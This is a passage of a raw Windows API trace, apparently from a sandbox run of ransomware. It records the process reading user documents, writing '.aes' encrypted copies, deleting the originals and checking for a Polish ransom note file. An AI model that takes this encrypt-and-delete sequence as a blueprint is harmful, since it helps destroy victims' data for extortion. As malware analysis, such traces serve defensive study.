lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\Qis2t0idI.docx", lpFilePart=0x0) returned 0x2a [0081.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0081.280] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\Qis2t0idI.docx" (normalized: "c:\\users\\kft6utqw\\documents\\qis2t0idi.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0081.280] GetFileType (hFile=0x7ec) returned 0x1 [0081.280] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0081.280] GetFileType (hFile=0x7ec) returned 0x1 [0081.280] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\Qis2t0idI.docx.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\Qis2t0idI.docx.aes", lpFilePart=0x0) returned 0x2e [0081.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0081.280] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\Qis2t0idI.docx.aes" (normalized: "c:\\users\\kft6utqw\\documents\\qis2t0idi.docx.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0081.280] GetFileType (hFile=0x8e4) returned 0x1 [0081.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0081.281] GetFileType (hFile=0x8e4) returned 0x1 [0081.281] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0081.288] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0081.289] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0081.296] LocalFree (hMem=0x703ef10) returned 0x0 [0081.296] GetAdaptersAddresses () returned 0x6f [0081.301] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0081.301] GetAdaptersAddresses () returned 0x0 [0081.306] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0081.312] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0081.312] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0081.351] LocalFree (hMem=0x6ff2da0) returned 0x0 [0081.352] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0081.358] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0081.358] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0081.364] LocalFree (hMem=0x6ff2da0) returned 0x0 [0081.364] LocalFree (hMem=0x7074460) returned 0x0 [0081.364] GetBestInterfaceEx (in: pDestAddr=0x2817b68*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0081.470] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\Qis2t0idI.docx" (normalized: "c:\\users\\kft6utqw\\documents\\qis2t0idi.docx")) returned 1 [0081.472] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x36 [0081.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0081.472] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92ddae0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe92ddae0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe92ddae0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0081.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0081.472] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0081.494] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\RLtENk6-mjNOz-raUF3v.xlsx", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\RLtENk6-mjNOz-raUF3v.xlsx", lpFilePart=0x0) returned 0x35 [0081.494] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0081.494] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\RLtENk6-mjNOz-raUF3v.xlsx" (normalized: "c:\\users\\kft6utqw\\documents\\rltenk6-mjnoz-rauf3v.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89f11f0, ftCreationTime.dwHighDateTime=0x1d2ef8d, ftLastAccessTime.dwLowDateTime=0xcf871890, ftLastAccessTime.dwHighDateTime=0x1d31903, ftLastWriteTime.dwLowDateTime=0xcf871890, ftLastWriteTime.dwHighDateTime=0x1d31903, nFileSizeHigh=0x0, nFileSizeLow=0x10dc9)) returned 1 [0081.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0081.494] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\RLtENk6-mjNOz-raUF3v.xlsx", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\RLtENk6-mjNOz-raUF3v.xlsx", lpFilePart=0x0) returned 0x35 [0081.494] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0081.494] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\RLtENk6-mjNOz-raUF3v.xlsx" (normalized: "c:\\users\\kft6utqw\\documents\\rltenk6-mjnoz-rauf3v.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0081.494] GetFileType (hFile=0x7ec) returned 0x1 [0081.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0081.494] GetFileType (hFile=0x7ec) returned 0x1 [0081.494] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\RLtENk6-mjNOz-raUF3v.xlsx.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\RLtENk6-mjNOz-raUF3v.xlsx.aes", lpFilePart=0x0) returned 0x39 [0081.494] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0081.494] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\RLtENk6-mjNOz-raUF3v.xlsx.aes" (normalized: "c:\\users\\kft6utqw\\documents\\rltenk6-mjnoz-rauf3v.xlsx.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0081.495] GetFileType (hFile=0x8e4) returned 0x1 [0081.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0081.495] GetFileType (hFile=0x8e4) returned 0x1 [0081.495] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0081.544] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0081.544] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0081.551] LocalFree (hMem=0x703ef10) returned 0x0 [0081.551] GetAdaptersAddresses () returned 0x6f [0081.556] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0081.556] GetAdaptersAddresses () returned 0x0 [0081.561] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0081.567] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0081.567] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0081.573] LocalFree (hMem=0x6ff2da0) returned 0x0 [0081.573] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0081.628] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0081.628] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0081.634] LocalFree (hMem=0x6ff2da0) returned 0x0 [0081.634] LocalFree (hMem=0x7074460) returned 0x0 [0081.634] GetBestInterfaceEx (in: pDestAddr=0x2817b90*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0081.752] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\RLtENk6-mjNOz-raUF3v.xlsx" (normalized: "c:\\users\\kft6utqw\\documents\\rltenk6-mjnoz-rauf3v.xlsx")) returned 1 [0081.754] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x36 [0081.755] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0081.755] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92ddae0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe92ddae0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe92ddae0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0081.755] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0081.755] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0081.802] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\u5X9.ppt", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\u5X9.ppt", lpFilePart=0x0) returned 0x24 [0081.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0081.802] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\u5X9.ppt" (normalized: "c:\\users\\kft6utqw\\documents\\u5x9.ppt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fdd9520, ftCreationTime.dwHighDateTime=0x1d2fc83, ftLastAccessTime.dwLowDateTime=0xef3f46d0, ftLastAccessTime.dwHighDateTime=0x1d3042c, ftLastWriteTime.dwLowDateTime=0xef3f46d0, ftLastWriteTime.dwHighDateTime=0x1d3042c, nFileSizeHigh=0x0, nFileSizeLow=0x4d47)) returned 1 [0081.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0081.802] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\u5X9.ppt", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\u5X9.ppt", lpFilePart=0x0) returned 0x24 [0081.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0081.802] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\u5X9.ppt" (normalized: "c:\\users\\kft6utqw\\documents\\u5x9.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0081.803] GetFileType (hFile=0x7ec) returned 0x1 [0081.803] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0081.803] GetFileType (hFile=0x7ec) returned 0x1 [0081.803] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\u5X9.ppt.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\u5X9.ppt.aes", lpFilePart=0x0) returned 0x28 [0081.803] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0081.803] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\u5X9.ppt.aes" (normalized: "c:\\users\\kft6utqw\\documents\\u5x9.ppt.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0081.803] GetFileType (hFile=0x8e4) returned 0x1 [0081.803] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0081.803] GetFileType (hFile=0x8e4) returned 0x1 [0081.803] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0081.843] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0081.843] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0081.851] LocalFree (hMem=0x703ef10) returned 0x0 [0081.851] GetAdaptersAddresses () returned 0x6f [0081.856] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0081.856] GetAdaptersAddresses () returned 0x0 [0081.861] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0081.868] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0081.868] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0081.906] LocalFree (hMem=0x6ff2da0) returned 0x0 [0081.906] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0081.913] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0081.913] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0081.919] LocalFree (hMem=0x6ff2da0) returned 0x0 [0081.920] LocalFree (hMem=0x7074460) returned 0x0 [0081.920] GetBestInterfaceEx (in: pDestAddr=0x280e1e8*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0082.001] WriteFile (in: hFile=0x8e4, lpBuffer=0x27c6f4c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x27c6f4c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0082.002] ReadFile (in: hFile=0x7ec, lpBuffer=0x26e146c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26e146c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0082.002] WriteFile (in: hFile=0x8e4, lpBuffer=0x27c6f4c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x27c6f4c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0082.002] ReadFile (in: hFile=0x7ec, lpBuffer=0x26e146c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26e146c*, lpNumberOfBytesRead=0x77cea50*=0xd47, lpOverlapped=0x0) returned 1 [0082.002] ReadFile (in: hFile=0x7ec, lpBuffer=0x26e146c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26e146c*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0082.002] WriteFile (in: hFile=0x8e4, lpBuffer=0x27c6f4c*, nNumberOfBytesToWrite=0xe61, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x27c6f4c*, lpNumberOfBytesWritten=0x77ce974*=0xe61, lpOverlapped=0x0) returned 1 [0082.002] WriteFile (in: hFile=0x8e4, lpBuffer=0x27c6f4c*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x27c6f4c*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0082.002] CloseHandle (hObject=0x8e4) returned 1 [0082.003] CloseHandle (hObject=0x7ec) returned 1 [0082.003] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\u5X9.ppt", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\u5X9.ppt", lpFilePart=0x0) returned 0x24 [0082.003] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\u5X9.ppt" (normalized: "c:\\users\\kft6utqw\\documents\\u5x9.ppt")) returned 1 [0082.004] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x36 [0082.004] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0082.004] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92ddae0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe92ddae0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe92ddae0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0082.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0082.004] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0082.074] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\WffPHgzW1qt5nuBKPq.docx", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\WffPHgzW1qt5nuBKPq.docx", lpFilePart=0x0) returned 0x33 [0082.074] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0082.074] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\WffPHgzW1qt5nuBKPq.docx" (normalized: "c:\\users\\kft6utqw\\documents\\wffphgzw1qt5nubkpq.docx"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99377690, ftCreationTime.dwHighDateTime=0x1d2f757, ftLastAccessTime.dwLowDateTime=0x5a7a8e10, ftLastAccessTime.dwHighDateTime=0x1d2f630, ftLastWriteTime.dwLowDateTime=0x5a7a8e10, ftLastWriteTime.dwHighDateTime=0x1d2f630, nFileSizeHigh=0x0, nFileSizeLow=0x8251)) returned 1 [0082.074] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0082.074] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\WffPHgzW1qt5nuBKPq.docx", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\WffPHgzW1qt5nuBKPq.docx", lpFilePart=0x0) returned 0x33 [0082.074] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0082.074] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\WffPHgzW1qt5nuBKPq.docx" (normalized: "c:\\users\\kft6utqw\\documents\\wffphgzw1qt5nubkpq.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0082.074] GetFileType (hFile=0x7ec) returned 0x1 [0082.074] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0082.075] GetFileType (hFile=0x7ec) returned 0x1 [0082.075] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\WffPHgzW1qt5nuBKPq.docx.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\WffPHgzW1qt5nuBKPq.docx.aes", lpFilePart=0x0) returned 0x37 [0082.075] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0082.075] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\WffPHgzW1qt5nuBKPq.docx.aes" (normalized: "c:\\users\\kft6utqw\\documents\\wffphgzw1qt5nubkpq.docx.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0082.075] GetFileType (hFile=0x8e4) returned 0x1 [0082.075] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0082.075] GetFileType (hFile=0x8e4) returned 0x1 [0082.075] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0082.097] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0082.097] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0082.104] LocalFree (hMem=0x703ef10) returned 0x0 [0082.104] GetAdaptersAddresses () returned 0x6f [0082.109] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0082.109] GetAdaptersAddresses () returned 0x0 [0082.114] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0082.120] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0082.120] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0082.132] LocalFree (hMem=0x6ff2da0) returned 0x0 [0082.132] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0082.138] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0082.138] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0082.145] LocalFree (hMem=0x6ff2da0) returned 0x0 [0082.145] LocalFree (hMem=0x7074460) returned 0x0 [0082.145] GetBestInterfaceEx (in: pDestAddr=0x27ea16c*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0082.265] ReadFile (in: hFile=0x7ec, lpBuffer=0x26e5fd4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26e5fd4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0082.266] ReadFile (in: hFile=0x7ec, lpBuffer=0x26e5fd4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26e5fd4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0082.267] WriteFile (in: hFile=0x8e4, lpBuffer=0x2796058*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2796058*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0082.267] ReadFile (in: hFile=0x7ec, lpBuffer=0x26e5fd4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26e5fd4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0082.267] WriteFile (in: hFile=0x8e4, lpBuffer=0x2796058*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2796058*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0082.267] ReadFile (in: hFile=0x7ec, lpBuffer=0x26e5fd4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26e5fd4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0082.267] WriteFile (in: hFile=0x8e4, lpBuffer=0x2796058*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2796058*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0082.267] ReadFile (in: hFile=0x7ec, lpBuffer=0x26e5fd4, 